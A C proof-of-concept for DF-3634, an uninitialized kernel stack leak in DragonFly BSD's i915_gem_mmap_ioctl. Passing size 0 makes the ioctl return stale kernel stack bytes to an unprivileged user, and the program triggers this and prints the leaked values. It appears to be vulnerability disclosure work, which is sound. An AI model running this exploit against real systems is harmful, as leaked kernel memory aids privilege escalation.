/*
 * DF-3634 PoC: uninitialized kernel stack leak in i915_gem_mmap_ioctl()
 * (sys/dev/drm/i915/i915_gem.c).
 *
 * DragonFly-only bug: when DRM_IOCTL_I915_GEM_MMAP is called with
 * args->size == 0, the #ifdef __DragonFly__ early-out
 *
 *	if (args->size == 0)
 *		goto out;
 *
 * jumps past every assignment of the local `unsigned long addr` (first
 * assignment is the round_page() hint further down).  At the out: label
 * the function does
 *
 *	args->addr_ptr = (uint64_t)addr;
 *
 * returning 8 bytes of stale kernel stack to userspace with retval 0.
 *
 * Reachability: unprivileged, render-node allowed
 * (DRM_IOCTL_DEF_DRV(I915_GEM_MMAP, i915_gem_mmap_ioctl, DRM_RENDER_ALLOW),
 * i915_drv.c:3246).  Requires an Intel GPU (i915 driver attached).
 *
 * Build: cc -O2 -o poc_df3634 poc_df3634.c
 * Run:   ./poc_df3634 [/dev/dri/card0]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdint.h>

/* Minimal copies of the uapi pieces, matched exactly against
 * sys/dev/drm/include/uapi/drm/i915_drm.h:
 *   DRM_I915_GEM_CREATE = 0x1b, DRM_I915_GEM_MMAP = 0x1e
 *   DRM_IOCTL_I915_GEM_* = DRM_IOWR(DRM_COMMAND_BASE + nr, struct ...)
 */
struct drm_i915_gem_create {
	uint64_t size;
	uint32_t handle;
	uint32_t pad;
};

struct drm_i915_gem_mmap {
	uint32_t handle;
	uint32_t pad;
	uint64_t offset;
	uint64_t size;
	uint64_t addr_ptr;
};

#define DRM_IOCTL_BASE			'd'
#define DRM_COMMAND_BASE		0x40
#define DRM_IOWR(nr, type)		_IOWR(DRM_IOCTL_BASE, nr, type)

#define DRM_I915_GEM_CREATE		0x1b
#define DRM_I915_GEM_MMAP		0x1e

#define DRM_IOCTL_I915_GEM_CREATE	DRM_IOWR(DRM_COMMAND_BASE + DRM_I915_GEM_CREATE, struct drm_i915_gem_create)
#define DRM_IOCTL_I915_GEM_MMAP		DRM_IOWR(DRM_COMMAND_BASE + DRM_I915_GEM_MMAP, struct drm_i915_gem_mmap)

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
	int fd, i;
	struct drm_i915_gem_create cr;
	struct drm_i915_gem_mmap mm;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open(%s): %s\n", dev, strerror(errno));
		fprintf(stderr, "=> no DRM device available; cannot exercise "
			"i915_gem_mmap_ioctl on this guest\n");
		return 2;
	}

	memset(&cr, 0, sizeof(cr));
	cr.size = 4096;
	if (ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &cr) < 0) {
		fprintf(stderr, "GEM_CREATE: %s\n", strerror(errno));
		close(fd);
		return 3;
	}
	printf("created GEM handle %u\n", cr.handle);

	for (i = 0; i < 5; i++) {
		memset(&mm, 0, sizeof(mm));
		mm.handle = cr.handle;
		mm.offset = 0;
		mm.size = 0;		/* <-- triggers the uninitialized `addr` path */

		if (ioctl(fd, DRM_IOCTL_I915_GEM_MMAP, &mm) < 0) {
			fprintf(stderr, "GEM_MMAP: %s\n", strerror(errno));
			break;
		}
		printf("run %d: ioctl ret=0 addr_ptr=0x%016llx%s\n",
		       i, (unsigned long long)mm.addr_ptr,
		       mm.addr_ptr != 0 ? "   <-- LEAKED KERNEL STACK BYTES" : "");
	}

	close(fd);
	return 0;
}
